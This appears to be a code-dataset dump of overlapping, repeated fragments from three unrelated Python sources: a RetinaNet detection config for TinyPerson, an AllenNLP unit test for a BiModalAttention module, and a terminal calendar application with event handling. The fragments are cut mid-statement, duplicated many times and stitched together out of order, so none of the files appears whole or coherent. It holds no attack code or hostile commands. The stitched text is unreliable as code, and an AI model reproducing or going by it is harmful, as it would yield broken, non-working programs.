"_base_ = [ './retinanet_r50_fpn_1x_TinyPerson640.py' ] optimizer = dict(type='SGD', lr=0.02, momentum=0.9, weight_decay=0.0001) # 4",
"grad_clip=dict(max_norm=1, norm_type=2)) # add grad clip # model settings model = dict( neck=dict(",
"start_level=0, # start_level=1, # add_extra_convs='on_input', # note num_outs=5), bbox_head=dict( type='RetinaHead', num_classes=1, # 80",
"anchor_generator=dict( type='AnchorGenerator', octave_base_scale=2, # 4 ratios=[0.5, 1.0, 2.0], strides=[4, 8, 16, 32, 64]",
"dict(_delete_=True, grad_clip=dict(max_norm=1, norm_type=2)) # add grad clip # model settings model = dict(",
"strides=[4, 8, 16, 32, 64] # [8, 16, 32, 64, 128] ) )",
"num_outs=5), bbox_head=dict( type='RetinaHead', num_classes=1, # 80 anchor_generator=dict( type='AnchorGenerator', octave_base_scale=2, # 4 ratios=[0.5, 1.0,",
"# start_level=1, # add_extra_convs='on_input', # note num_outs=5), bbox_head=dict( type='RetinaHead', num_classes=1, # 80 anchor_generator=dict(",
"dict( neck=dict( start_level=0, # start_level=1, # add_extra_convs='on_input', # note num_outs=5), bbox_head=dict( type='RetinaHead', num_classes=1,",
"= dict(_delete_=True, grad_clip=dict(max_norm=1, norm_type=2)) # add grad clip # model settings model =",
"bbox_head=dict( type='RetinaHead', num_classes=1, # 80 anchor_generator=dict( type='AnchorGenerator', octave_base_scale=2, # 4 ratios=[0.5, 1.0, 2.0],",
"num_classes=1, # 80 anchor_generator=dict( type='AnchorGenerator', octave_base_scale=2, # 4 ratios=[0.5, 1.0, 2.0], strides=[4, 8,",
"80 anchor_generator=dict( type='AnchorGenerator', octave_base_scale=2, # 4 ratios=[0.5, 1.0, 2.0], strides=[4, 8, 16, 32,",
"] optimizer = dict(type='SGD', lr=0.02, momentum=0.9, weight_decay=0.0001) # 4 gpu optimizer_config = dict(_delete_=True,",
"2.0], strides=[4, 8, 16, 32, 64] # [8, 16, 32, 64, 128] )",
"weight_decay=0.0001) # 4 gpu optimizer_config = dict(_delete_=True, grad_clip=dict(max_norm=1, norm_type=2)) # add grad clip",
"gpu optimizer_config = dict(_delete_=True, grad_clip=dict(max_norm=1, norm_type=2)) # add grad clip # model settings",
"octave_base_scale=2, # 4 ratios=[0.5, 1.0, 2.0], strides=[4, 8, 16, 32, 64] # [8,",
"= [ './retinanet_r50_fpn_1x_TinyPerson640.py' ] optimizer = dict(type='SGD', lr=0.02, momentum=0.9, weight_decay=0.0001) # 4 gpu"
] |
[
"\"hidden_size2\": 4, \"combined_hidden_size\": 16, \"num_attention_heads\": 2, \"dropout1\": 0.1, \"dropout2\": 0.2, } @pytest.fixture def",
"import BiModalAttention @pytest.fixture def params_dict(): return { \"hidden_size1\": 6, \"hidden_size2\": 4, \"combined_hidden_size\": 16,",
"BiModalAttention @pytest.fixture def params_dict(): return { \"hidden_size1\": 6, \"hidden_size2\": 4, \"combined_hidden_size\": 16, \"num_attention_heads\":",
"biattention.dropout2.p == params_dict[\"dropout2\"] def test_forward_runs(biattention): biattention( torch.randn(2, 3, 6), torch.randn(2, 3, 4), torch.randint(0,",
"biattention.num_attention_heads == params_dict[\"num_attention_heads\"] assert biattention.attention_head_size == int( params_dict[\"combined_hidden_size\"] / params_dict[\"num_attention_heads\"] ) assert (",
"assert biattention.dropout1.p == params_dict[\"dropout1\"] assert biattention.query2.in_features == params_dict[\"hidden_size2\"] assert biattention.key2.in_features == params_dict[\"hidden_size2\"] assert",
"== 1, # creating boolean tensors torch.randint(0, 2, (2, 2, 3, 3)) ==",
"biattention.attention_head_size ) assert biattention.query1.in_features == params_dict[\"hidden_size1\"] assert biattention.key1.in_features == params_dict[\"hidden_size1\"] assert biattention.value1.in_features ==",
"16, \"num_attention_heads\": 2, \"dropout1\": 0.1, \"dropout2\": 0.2, } @pytest.fixture def params(params_dict): return Params(params_dict)",
"biattention.key2.in_features == params_dict[\"hidden_size2\"] assert biattention.value2.in_features == params_dict[\"hidden_size2\"] assert biattention.dropout2.p == params_dict[\"dropout2\"] def test_forward_runs(biattention):",
"params_dict[\"hidden_size1\"] assert biattention.key1.in_features == params_dict[\"hidden_size1\"] assert biattention.value1.in_features == params_dict[\"hidden_size1\"] assert biattention.dropout1.p == params_dict[\"dropout1\"]",
"params_dict[\"num_attention_heads\"] ) assert ( biattention.all_head_size == params_dict[\"num_attention_heads\"] * biattention.attention_head_size ) assert biattention.query1.in_features ==",
"\"dropout2\": 0.2, } @pytest.fixture def params(params_dict): return Params(params_dict) @pytest.fixture def biattention(params): return BiModalAttention.from_params(params.duplicate())",
"* biattention.attention_head_size ) assert biattention.query1.in_features == params_dict[\"hidden_size1\"] assert biattention.key1.in_features == params_dict[\"hidden_size1\"] assert biattention.value1.in_features",
"import pytest from allennlp.common import Params from allennlp.modules.transformer import BiModalAttention @pytest.fixture def params_dict():",
"int( params_dict[\"combined_hidden_size\"] / params_dict[\"num_attention_heads\"] ) assert ( biattention.all_head_size == params_dict[\"num_attention_heads\"] * biattention.attention_head_size )",
"assert biattention.key1.in_features == params_dict[\"hidden_size1\"] assert biattention.value1.in_features == params_dict[\"hidden_size1\"] assert biattention.dropout1.p == params_dict[\"dropout1\"] assert",
"2, 3, 3)) == 1, # creating boolean tensors torch.randint(0, 2, (2, 2,",
"== params_dict[\"hidden_size1\"] assert biattention.dropout1.p == params_dict[\"dropout1\"] assert biattention.query2.in_features == params_dict[\"hidden_size2\"] assert biattention.key2.in_features ==",
"assert biattention.num_attention_heads == params_dict[\"num_attention_heads\"] assert biattention.attention_head_size == int( params_dict[\"combined_hidden_size\"] / params_dict[\"num_attention_heads\"] ) assert",
"params_dict[\"hidden_size1\"] assert biattention.value1.in_features == params_dict[\"hidden_size1\"] assert biattention.dropout1.p == params_dict[\"dropout1\"] assert biattention.query2.in_features == params_dict[\"hidden_size2\"]",
"\"combined_hidden_size\": 16, \"num_attention_heads\": 2, \"dropout1\": 0.1, \"dropout2\": 0.2, } @pytest.fixture def params(params_dict): return",
"biattention.key1.in_features == params_dict[\"hidden_size1\"] assert biattention.value1.in_features == params_dict[\"hidden_size1\"] assert biattention.dropout1.p == params_dict[\"dropout1\"] assert biattention.query2.in_features",
") assert biattention.query1.in_features == params_dict[\"hidden_size1\"] assert biattention.key1.in_features == params_dict[\"hidden_size1\"] assert biattention.value1.in_features == params_dict[\"hidden_size1\"]",
"@pytest.fixture def params(params_dict): return Params(params_dict) @pytest.fixture def biattention(params): return BiModalAttention.from_params(params.duplicate()) def test_can_construct_from_params(biattention, params_dict):",
"3, 6), torch.randn(2, 3, 4), torch.randint(0, 2, (2, 2, 3, 3)) == 1,",
"pytest from allennlp.common import Params from allennlp.modules.transformer import BiModalAttention @pytest.fixture def params_dict(): return",
"biattention.value1.in_features == params_dict[\"hidden_size1\"] assert biattention.dropout1.p == params_dict[\"dropout1\"] assert biattention.query2.in_features == params_dict[\"hidden_size2\"] assert biattention.key2.in_features",
"params_dict[\"hidden_size2\"] assert biattention.dropout2.p == params_dict[\"dropout2\"] def test_forward_runs(biattention): biattention( torch.randn(2, 3, 6), torch.randn(2, 3,",
"def test_forward_runs(biattention): biattention( torch.randn(2, 3, 6), torch.randn(2, 3, 4), torch.randint(0, 2, (2, 2,",
"} @pytest.fixture def params(params_dict): return Params(params_dict) @pytest.fixture def biattention(params): return BiModalAttention.from_params(params.duplicate()) def test_can_construct_from_params(biattention,",
"@pytest.fixture def biattention(params): return BiModalAttention.from_params(params.duplicate()) def test_can_construct_from_params(biattention, params_dict): assert biattention.num_attention_heads == params_dict[\"num_attention_heads\"] assert",
"from allennlp.common import Params from allennlp.modules.transformer import BiModalAttention @pytest.fixture def params_dict(): return {",
"assert ( biattention.all_head_size == params_dict[\"num_attention_heads\"] * biattention.attention_head_size ) assert biattention.query1.in_features == params_dict[\"hidden_size1\"] assert",
"return Params(params_dict) @pytest.fixture def biattention(params): return BiModalAttention.from_params(params.duplicate()) def test_can_construct_from_params(biattention, params_dict): assert biattention.num_attention_heads ==",
"biattention.query2.in_features == params_dict[\"hidden_size2\"] assert biattention.key2.in_features == params_dict[\"hidden_size2\"] assert biattention.value2.in_features == params_dict[\"hidden_size2\"] assert biattention.dropout2.p",
"biattention( torch.randn(2, 3, 6), torch.randn(2, 3, 4), torch.randint(0, 2, (2, 2, 3, 3))",
"3, 3)) == 1, # creating boolean tensors torch.randint(0, 2, (2, 2, 3,",
"== params_dict[\"hidden_size2\"] assert biattention.dropout2.p == params_dict[\"dropout2\"] def test_forward_runs(biattention): biattention( torch.randn(2, 3, 6), torch.randn(2,",
"biattention.value2.in_features == params_dict[\"hidden_size2\"] assert biattention.dropout2.p == params_dict[\"dropout2\"] def test_forward_runs(biattention): biattention( torch.randn(2, 3, 6),",
"test_forward_runs(biattention): biattention( torch.randn(2, 3, 6), torch.randn(2, 3, 4), torch.randint(0, 2, (2, 2, 3,",
"assert biattention.value1.in_features == params_dict[\"hidden_size1\"] assert biattention.dropout1.p == params_dict[\"dropout1\"] assert biattention.query2.in_features == params_dict[\"hidden_size2\"] assert",
"BiModalAttention.from_params(params.duplicate()) def test_can_construct_from_params(biattention, params_dict): assert biattention.num_attention_heads == params_dict[\"num_attention_heads\"] assert biattention.attention_head_size == int( params_dict[\"combined_hidden_size\"]",
"@pytest.fixture def params_dict(): return { \"hidden_size1\": 6, \"hidden_size2\": 4, \"combined_hidden_size\": 16, \"num_attention_heads\": 2,",
"params_dict[\"num_attention_heads\"] assert biattention.attention_head_size == int( params_dict[\"combined_hidden_size\"] / params_dict[\"num_attention_heads\"] ) assert ( biattention.all_head_size ==",
"1, # creating boolean tensors torch.randint(0, 2, (2, 2, 3, 3)) == 1,",
"assert biattention.key2.in_features == params_dict[\"hidden_size2\"] assert biattention.value2.in_features == params_dict[\"hidden_size2\"] assert biattention.dropout2.p == params_dict[\"dropout2\"] def",
"0.1, \"dropout2\": 0.2, } @pytest.fixture def params(params_dict): return Params(params_dict) @pytest.fixture def biattention(params): return",
"allennlp.common import Params from allennlp.modules.transformer import BiModalAttention @pytest.fixture def params_dict(): return { \"hidden_size1\":",
"params_dict[\"dropout2\"] def test_forward_runs(biattention): biattention( torch.randn(2, 3, 6), torch.randn(2, 3, 4), torch.randint(0, 2, (2,",
"/ params_dict[\"num_attention_heads\"] ) assert ( biattention.all_head_size == params_dict[\"num_attention_heads\"] * biattention.attention_head_size ) assert biattention.query1.in_features",
"== params_dict[\"hidden_size1\"] assert biattention.value1.in_features == params_dict[\"hidden_size1\"] assert biattention.dropout1.p == params_dict[\"dropout1\"] assert biattention.query2.in_features ==",
"Params(params_dict) @pytest.fixture def biattention(params): return BiModalAttention.from_params(params.duplicate()) def test_can_construct_from_params(biattention, params_dict): assert biattention.num_attention_heads == params_dict[\"num_attention_heads\"]",
"(2, 2, 3, 3)) == 1, # creating boolean tensors torch.randint(0, 2, (2,",
"return BiModalAttention.from_params(params.duplicate()) def test_can_construct_from_params(biattention, params_dict): assert biattention.num_attention_heads == params_dict[\"num_attention_heads\"] assert biattention.attention_head_size == int(",
"3, 4), torch.randint(0, 2, (2, 2, 3, 3)) == 1, # creating boolean",
"4), torch.randint(0, 2, (2, 2, 3, 3)) == 1, # creating boolean tensors",
"params(params_dict): return Params(params_dict) @pytest.fixture def biattention(params): return BiModalAttention.from_params(params.duplicate()) def test_can_construct_from_params(biattention, params_dict): assert biattention.num_attention_heads",
"assert biattention.query1.in_features == params_dict[\"hidden_size1\"] assert biattention.key1.in_features == params_dict[\"hidden_size1\"] assert biattention.value1.in_features == params_dict[\"hidden_size1\"] assert",
"params_dict): assert biattention.num_attention_heads == params_dict[\"num_attention_heads\"] assert biattention.attention_head_size == int( params_dict[\"combined_hidden_size\"] / params_dict[\"num_attention_heads\"] )",
"== params_dict[\"dropout2\"] def test_forward_runs(biattention): biattention( torch.randn(2, 3, 6), torch.randn(2, 3, 4), torch.randint(0, 2,",
"import torch import pytest from allennlp.common import Params from allennlp.modules.transformer import BiModalAttention @pytest.fixture",
"2, \"dropout1\": 0.1, \"dropout2\": 0.2, } @pytest.fixture def params(params_dict): return Params(params_dict) @pytest.fixture def",
"4, \"combined_hidden_size\": 16, \"num_attention_heads\": 2, \"dropout1\": 0.1, \"dropout2\": 0.2, } @pytest.fixture def params(params_dict):",
"biattention.query1.in_features == params_dict[\"hidden_size1\"] assert biattention.key1.in_features == params_dict[\"hidden_size1\"] assert biattention.value1.in_features == params_dict[\"hidden_size1\"] assert biattention.dropout1.p",
"def params(params_dict): return Params(params_dict) @pytest.fixture def biattention(params): return BiModalAttention.from_params(params.duplicate()) def test_can_construct_from_params(biattention, params_dict): assert",
"== params_dict[\"num_attention_heads\"] assert biattention.attention_head_size == int( params_dict[\"combined_hidden_size\"] / params_dict[\"num_attention_heads\"] ) assert ( biattention.all_head_size",
"params_dict[\"hidden_size2\"] assert biattention.value2.in_features == params_dict[\"hidden_size2\"] assert biattention.dropout2.p == params_dict[\"dropout2\"] def test_forward_runs(biattention): biattention( torch.randn(2,",
"def params_dict(): return { \"hidden_size1\": 6, \"hidden_size2\": 4, \"combined_hidden_size\": 16, \"num_attention_heads\": 2, \"dropout1\":",
"biattention.all_head_size == params_dict[\"num_attention_heads\"] * biattention.attention_head_size ) assert biattention.query1.in_features == params_dict[\"hidden_size1\"] assert biattention.key1.in_features ==",
"== params_dict[\"hidden_size2\"] assert biattention.key2.in_features == params_dict[\"hidden_size2\"] assert biattention.value2.in_features == params_dict[\"hidden_size2\"] assert biattention.dropout2.p ==",
"\"dropout1\": 0.1, \"dropout2\": 0.2, } @pytest.fixture def params(params_dict): return Params(params_dict) @pytest.fixture def biattention(params):",
"assert biattention.query2.in_features == params_dict[\"hidden_size2\"] assert biattention.key2.in_features == params_dict[\"hidden_size2\"] assert biattention.value2.in_features == params_dict[\"hidden_size2\"] assert",
"== int( params_dict[\"combined_hidden_size\"] / params_dict[\"num_attention_heads\"] ) assert ( biattention.all_head_size == params_dict[\"num_attention_heads\"] * biattention.attention_head_size",
"test_can_construct_from_params(biattention, params_dict): assert biattention.num_attention_heads == params_dict[\"num_attention_heads\"] assert biattention.attention_head_size == int( params_dict[\"combined_hidden_size\"] / params_dict[\"num_attention_heads\"]",
"\"num_attention_heads\": 2, \"dropout1\": 0.1, \"dropout2\": 0.2, } @pytest.fixture def params(params_dict): return Params(params_dict) @pytest.fixture",
"biattention.attention_head_size == int( params_dict[\"combined_hidden_size\"] / params_dict[\"num_attention_heads\"] ) assert ( biattention.all_head_size == params_dict[\"num_attention_heads\"] *",
"def test_can_construct_from_params(biattention, params_dict): assert biattention.num_attention_heads == params_dict[\"num_attention_heads\"] assert biattention.attention_head_size == int( params_dict[\"combined_hidden_size\"] /",
"6), torch.randn(2, 3, 4), torch.randint(0, 2, (2, 2, 3, 3)) == 1, #",
"from allennlp.modules.transformer import BiModalAttention @pytest.fixture def params_dict(): return { \"hidden_size1\": 6, \"hidden_size2\": 4,",
"import Params from allennlp.modules.transformer import BiModalAttention @pytest.fixture def params_dict(): return { \"hidden_size1\": 6,",
"== params_dict[\"num_attention_heads\"] * biattention.attention_head_size ) assert biattention.query1.in_features == params_dict[\"hidden_size1\"] assert biattention.key1.in_features == params_dict[\"hidden_size1\"]",
"# creating boolean tensors torch.randint(0, 2, (2, 2, 3, 3)) == 1, )",
"\"hidden_size1\": 6, \"hidden_size2\": 4, \"combined_hidden_size\": 16, \"num_attention_heads\": 2, \"dropout1\": 0.1, \"dropout2\": 0.2, }",
"def biattention(params): return BiModalAttention.from_params(params.duplicate()) def test_can_construct_from_params(biattention, params_dict): assert biattention.num_attention_heads == params_dict[\"num_attention_heads\"] assert biattention.attention_head_size",
"== params_dict[\"hidden_size1\"] assert biattention.key1.in_features == params_dict[\"hidden_size1\"] assert biattention.value1.in_features == params_dict[\"hidden_size1\"] assert biattention.dropout1.p ==",
"== params_dict[\"hidden_size2\"] assert biattention.value2.in_features == params_dict[\"hidden_size2\"] assert biattention.dropout2.p == params_dict[\"dropout2\"] def test_forward_runs(biattention): biattention(",
"6, \"hidden_size2\": 4, \"combined_hidden_size\": 16, \"num_attention_heads\": 2, \"dropout1\": 0.1, \"dropout2\": 0.2, } @pytest.fixture",
"assert biattention.dropout2.p == params_dict[\"dropout2\"] def test_forward_runs(biattention): biattention( torch.randn(2, 3, 6), torch.randn(2, 3, 4),",
"return { \"hidden_size1\": 6, \"hidden_size2\": 4, \"combined_hidden_size\": 16, \"num_attention_heads\": 2, \"dropout1\": 0.1, \"dropout2\":",
"biattention.dropout1.p == params_dict[\"dropout1\"] assert biattention.query2.in_features == params_dict[\"hidden_size2\"] assert biattention.key2.in_features == params_dict[\"hidden_size2\"] assert biattention.value2.in_features",
"3)) == 1, # creating boolean tensors torch.randint(0, 2, (2, 2, 3, 3))",
"params_dict[\"hidden_size1\"] assert biattention.dropout1.p == params_dict[\"dropout1\"] assert biattention.query2.in_features == params_dict[\"hidden_size2\"] assert biattention.key2.in_features == params_dict[\"hidden_size2\"]",
"== params_dict[\"dropout1\"] assert biattention.query2.in_features == params_dict[\"hidden_size2\"] assert biattention.key2.in_features == params_dict[\"hidden_size2\"] assert biattention.value2.in_features ==",
"biattention(params): return BiModalAttention.from_params(params.duplicate()) def test_can_construct_from_params(biattention, params_dict): assert biattention.num_attention_heads == params_dict[\"num_attention_heads\"] assert biattention.attention_head_size ==",
"allennlp.modules.transformer import BiModalAttention @pytest.fixture def params_dict(): return { \"hidden_size1\": 6, \"hidden_size2\": 4, \"combined_hidden_size\":",
"params_dict[\"combined_hidden_size\"] / params_dict[\"num_attention_heads\"] ) assert ( biattention.all_head_size == params_dict[\"num_attention_heads\"] * biattention.attention_head_size ) assert",
"Params from allennlp.modules.transformer import BiModalAttention @pytest.fixture def params_dict(): return { \"hidden_size1\": 6, \"hidden_size2\":",
"params_dict[\"num_attention_heads\"] * biattention.attention_head_size ) assert biattention.query1.in_features == params_dict[\"hidden_size1\"] assert biattention.key1.in_features == params_dict[\"hidden_size1\"] assert",
"torch.randn(2, 3, 4), torch.randint(0, 2, (2, 2, 3, 3)) == 1, # creating",
"params_dict[\"dropout1\"] assert biattention.query2.in_features == params_dict[\"hidden_size2\"] assert biattention.key2.in_features == params_dict[\"hidden_size2\"] assert biattention.value2.in_features == params_dict[\"hidden_size2\"]",
"{ \"hidden_size1\": 6, \"hidden_size2\": 4, \"combined_hidden_size\": 16, \"num_attention_heads\": 2, \"dropout1\": 0.1, \"dropout2\": 0.2,",
"( biattention.all_head_size == params_dict[\"num_attention_heads\"] * biattention.attention_head_size ) assert biattention.query1.in_features == params_dict[\"hidden_size1\"] assert biattention.key1.in_features",
"torch import pytest from allennlp.common import Params from allennlp.modules.transformer import BiModalAttention @pytest.fixture def",
"assert biattention.value2.in_features == params_dict[\"hidden_size2\"] assert biattention.dropout2.p == params_dict[\"dropout2\"] def test_forward_runs(biattention): biattention( torch.randn(2, 3,",
"2, (2, 2, 3, 3)) == 1, # creating boolean tensors torch.randint(0, 2,",
") assert ( biattention.all_head_size == params_dict[\"num_attention_heads\"] * biattention.attention_head_size ) assert biattention.query1.in_features == params_dict[\"hidden_size1\"]",
"0.2, } @pytest.fixture def params(params_dict): return Params(params_dict) @pytest.fixture def biattention(params): return BiModalAttention.from_params(params.duplicate()) def",
"params_dict(): return { \"hidden_size1\": 6, \"hidden_size2\": 4, \"combined_hidden_size\": 16, \"num_attention_heads\": 2, \"dropout1\": 0.1,",
"torch.randint(0, 2, (2, 2, 3, 3)) == 1, # creating boolean tensors torch.randint(0,",
"<gh_stars>1000+ import torch import pytest from allennlp.common import Params from allennlp.modules.transformer import BiModalAttention",
"torch.randn(2, 3, 6), torch.randn(2, 3, 4), torch.randint(0, 2, (2, 2, 3, 3)) ==",
"params_dict[\"hidden_size2\"] assert biattention.key2.in_features == params_dict[\"hidden_size2\"] assert biattention.value2.in_features == params_dict[\"hidden_size2\"] assert biattention.dropout2.p == params_dict[\"dropout2\"]",
"assert biattention.attention_head_size == int( params_dict[\"combined_hidden_size\"] / params_dict[\"num_attention_heads\"] ) assert ( biattention.all_head_size == params_dict[\"num_attention_heads\"]"
] |
[
"= 0 while days < num_days: for i, day in enumerate(self.WEEKDAYS): if days",
"Gets an event from a name and a date Args: calendar_date : date",
"don't pop this, or parents if not isinstance(nested_dict, dict): return False # if",
"on to return if included Returns: year (int), month (int), day (int), name",
"\"white\": f\"{30 + 10}\", \"normal\": 1 } return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls') # Find which",
"dict Args: usr_input : string input by the user. Should be led by",
"\"February\", 3: \"March\", 4: \"April\", 5: \"May\", 6: \"June\", 7: \"July\", 8: \"August\",",
"input(\"General Kenobi\") pop_str = f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\" self.events.pop(pop_str) Calendar.clean_nested_dict(self.events) self.events[ self.ind_from_date(modified_event.date_of_event, modified_event.name) ] = modified_event",
"pop_this = True for key, sub_dict in list(nested_dict.items()): pop_that = Calendar.clean_nested_dict(sub_dict) if pop_that:",
"usr_ind == self.YEAR: self.today = date(self.today.year+sgn, self.today.month, self.today.day) elif usr_ind == self.DAY: self.today",
"in days.items(): prnt += f\"\\t\\t\\t{day} : \" + \"{\\n\" for name, ev in",
"previous month enter : {BACKWARD}{MONTH} To scroll to the next year enter :",
"- <name> To modify an event enter : {MODIFY} <date in yyyy/mm/dd format>",
": {ALL} (To continue Press enter) \"\"\" def __init__(self): \"\"\" Constructor for the",
"event to be {Calendar.VERB[cmd]}\") if cmd == self.NEW: self.add_event(calendar_date, name) input(f\"new event created",
"elif usr_ind == self.DAY: self.today = date(self.today.year, self.today.month, self.today.day+sgn) else: # Scroll by",
"ignores = [\" \", \"\\n\"] while True: self.print_calendar() user_input = input(command_ms) for ignore",
"f\"{35 + 10}\", \"cyan\": f\"{36 + 10}\", \"white\": f\"{30 + 10}\", \"normal\": 1",
"number of possible commands to: * scroll from month to month * make,",
"\"N\" if not overwrite: name = input(f\"Please enter a new name for the",
"the Calendar testing ipython notebook. \"\"\" # if lowest level item is not",
"been modified and rewrites it to the dict with updated indeces \"\"\" input(\"Hello",
": \" + \"{\\n\" for name, ev in names.items(): ev_str = repr(ev).replace(\"\\n\", \"\\n\\t\\t\\t\\t\\t\")",
"try: daily_events = self.events[self.ind_from_date(calendar_date)] except KeyError: daily_events = {} return daily_events def add_event(self,",
"self.events.pop(pop_str) Calendar.clean_nested_dict(self.events) self.events[ self.ind_from_date(modified_event.date_of_event, modified_event.name) ] = modified_event def print_all_events(self): prnt = \"{\\n\"",
"return daily_events def add_event(self, calendar_date: DateTypes, name: str): \"\"\" Adds an event to",
"Event from CalendarErrors import BreakoutError, MainError from Prompt import prompt_user_date, parse_user_date, prompt_user_time \"\"\"",
"print_calendar(self): \"\"\" Prints a calendar to the terminal or command for the month",
"cal_string += entry cal_string += \"\\n\" print(cal_string) if __name__ == '__main__': cal =",
"+= f\"\\t\\t\\t{day} : \" + \"{\\n\" for name, ev in names.items(): ev_str =",
"days in monthly_events and not days == self.today.day: entry = color_entry(entry, txt=\"green\") if",
"DateTypes) -> Dict: \"\"\" finds all events that occur on calendar_date and returns",
"scroll to the previous month enter : {BACKWARD}{MONTH} To scroll to the next",
"\"\"\" parse scroll commands from the user and make the correct call to",
"self.events[self.ind_from_date(calendar_date, name)] = Event( calendar_date, name, description, ) else: self.events[self.ind_from_date(calendar_date, name)] = Event(",
"self.QUIT: break elif cmd == self.HELP: input(self.MENU_STRING) elif cmd == self.ALL: self.print_all_events() elif",
"of the event: Returns: The event found. Or None if none are found",
"self.get_event(modified_event.date_of_event, modified_event.name) old_ev = self.get_event(old_date, old_name) if new_ev != old_ev: input(\"General Kenobi\") pop_str",
"return False # if lowest level item is an empty dict, pop this",
"prnt += \"\\t\\t\\t},\\n\" prnt += \"\\t\\t},\\n\" prnt += \"\\t},\\n\" prnt += \"}\" input(prnt)",
"1 entry = f\"{days:2} \" if days in monthly_events and not days ==",
"started on first_day = date(self.today.year, self.today.month, 1).weekday() # Find number of days in",
"day (int), name (str) \"\"\" if name is not None: return str(calendar_date.year), str(calendar_date.month),",
"calendar_date : date of the new event name : name of that event",
"len(usr_args) >= 2: name = usr_args[1] else: name = input(f\"What is the name",
"events Returns: daily events : dictionary of events occurring on that day, empty",
"color_entry(entry, txt=\"green\", bg=\"red\") if days > num_days: entry = \" \" cal_string +=",
"Prints a calendar to the terminal or command for the month which contains",
"this from the parent and clean up recursively if nested_dict == {}: return",
"cal_string += f\"{day} \" cal_string += \"\\n\" days = 0 while days <",
"the calendar, what would you like to do? \\n\" command_ms += \"(Q to",
"month(str) : { day(str) : { name(str) : (Event) } } } }",
"an event enter : {NEW} <date in yyyy/mm/dd format> - <name> To modify",
"by month is default self.today = date(self.today.year, self.today.month+sgn, self.today.day) def eventing(self, usr_input: str):",
"monthly_events = [int(dy) for dy in monthly_events] except KeyError: monthly_events = [] cal_string",
"wants to try and input again except MainError: continue def scroll(self, usr_input: str):",
"if len(usr_input) > 1: usr_args = usr_input[1:] else: usr_args = None if usr_args",
"+ EVENTS + UTIL # indicators ----------------------------------------------------------------------------------- DAY = \"D\" MONTH = \"M\"",
"} return f\"\\033[1;{txt_colors[txt]};{bg_colors[bg]}m{message}\\033[0m\" os.system('cls') # Find which day of the week the month",
"lowest level item is an empty dict, pop this from the parent and",
"+= \"}\" input(prnt) @staticmethod def clean_nested_dict(nested_dict): \"\"\" Recursively cleans nested_dict to remove empty",
"prompt the user to input some number of possible commands to: * scroll",
"new event name : name of that event \"\"\" while name in self.find_events(calendar_date).keys():",
"an empty dict, don't pop this, or parents if not isinstance(nested_dict, dict): return",
"self.SCROLLING: self.scroll(user_input) elif cmd in self.EVENTS: self.eventing(user_input) else: input(f\"{cmd} is not a valid",
"a name for the event : \") else: usr_args = usr_args.split(\"-\")[:2] calendar_date =",
"cmd == self.FORWARD or cmd == self.BACKWARD: # Move forward of backward if",
"cmd == self.READ: if name in self.find_events(calendar_date).keys(): if cmd == self.MODIFY: mod_event =",
"i < first_day: entry = \" \" else: days += 1 entry =",
"led by a valid event based command \"\"\" cmd = usr_input[0] if len(usr_input)",
"Calendar.clean_nested_dict(sub_dict) if pop_that: nested_dict.pop(key) pop_this *= pop_that return pop_this @staticmethod def ind_from_date(calendar_date: DateTypes,",
"ALL = \"A\" UTIL = [QUIT, HELP, ALL] COMMANDS = SCROLLING + EVENTS",
"the user to input some number of possible commands to: * scroll from",
"\"\"\" def color_entry(message: str, txt: str = \"normal\", bg: str = \"normal\") ->",
"+= f\"\\t\\t\\t\\t{name}\\t{ev_str}\\n\" prnt += \"\\t\\t\\t},\\n\" prnt += \"\\t\\t},\\n\" prnt += \"\\t},\\n\" prnt +=",
"the previous day enter : {BACKWARD}{DAY} To scroll to the the next month",
"if cmd == self.FORWARD: sgn = 1 else: sgn = -1 if usr_args",
"of the event to be {Calendar.VERB[cmd]}\") if cmd == self.NEW: self.add_event(calendar_date, name) input(f\"new",
"= { NEW: \"Made\", MODIFY: \"Modified\", READ: \"Read\" } # utility -------------------------------------------------------------------------------------- QUIT",
"old_ev = self.get_event(old_date, old_name) if new_ev != old_ev: input(\"General Kenobi\") pop_str = f\"{old_date.year}.{old_date.month}.{old_date.day}.{old_name}\"",
"color_entry(message: str, txt: str = \"normal\", bg: str = \"normal\") -> str: \"\"\"",
"background Returns: beautified message \"\"\" txt_colors = { \"black\": \"30\", \"red\": \"31\", \"green\":",
"all events that occur on calendar_date and returns them Args: calendar_date : date",
"\"C\" READ = \"R\" EVENTS = [NEW, MODIFY, READ] VERB = { NEW:",
"f\"{self.MONTHS[self.today.month]} : {self.today.year}\\n\", txt=\"cyan\" ) # Print the days of the week for",
"\" cal_string += entry cal_string += \"\\n\" print(cal_string) if __name__ == '__main__': cal",
"\"S\" FORWARD = \"F\" BACKWARD = \"B\" SCROLLING = [SCROLL, FORWARD, BACKWARD] #",
"an event enter : {READ} <date in yyyy/mm/dd format> - <name> To print",
"first_day: entry = \" \" else: days += 1 entry = f\"{days:2} \"",
"None if none are found \"\"\" try: ev = self.events[self.ind_from_date(calendar_date, name)] except KeyError:",
"the month which contains day. \"\"\" def color_entry(message: str, txt: str = \"normal\",",
"benedict import benedict from Events import Event from CalendarErrors import BreakoutError, MainError from",
"parent and clean up recursively if nested_dict == {}: return True # indicates",
"of the week the month started on first_day = date(self.today.year, self.today.month, 1).weekday() #",
"up recursively if nested_dict == {}: return True # indicates whether this dict/sub_dict",
"= None if cmd == self.SCROLL: calendar_date = parse_user_date(usr_args) self.today = calendar_date elif",
"\"\"\" parse event commands from the user and edit self.events dict Args: usr_input",
"= usr_args if usr_ind == self.YEAR: self.today = date(self.today.year+sgn, self.today.month, self.today.day) elif usr_ind",
": {BACKWARD}{DAY} To scroll to the the next month enter : {FORWARD}{MONTH} To",
"- <name> To print all events enter : {ALL} (To continue Press enter)",
"= color_entry(entry, bg=\"red\") if days == self.today.day and days in monthly_events: entry =",
"To scroll to a date enter : {SCROLL} <date in yyyy/mm/dd format> To",
"calendar_date = prompt_user_date(\"Lets get a date for the event\") name = input(\"Give us",
"date to be used for indexing name : optional. Tacked on to return",
"= \"C\" READ = \"R\" EVENTS = [NEW, MODIFY, READ] VERB = {",
"\"37\", \"normal\": 1 } bg_colors = { \"black\": f\"{37+10}\", \"red\": f\"{31 + 10}\",",
"valid command\\ {self.MENU_STRING}\") # MainError is just an indicator that user wants to",
"BreakoutError, MainError from Prompt import prompt_user_date, parse_user_date, prompt_user_time \"\"\" Should print a calendar",
"f\"\\t\\t{month} : \" + \"{\\n\" for day, names in days.items(): prnt += f\"\\t\\t\\t{day}",
"Returns: year (int), month (int), day (int), name (str) \"\"\" if name is",
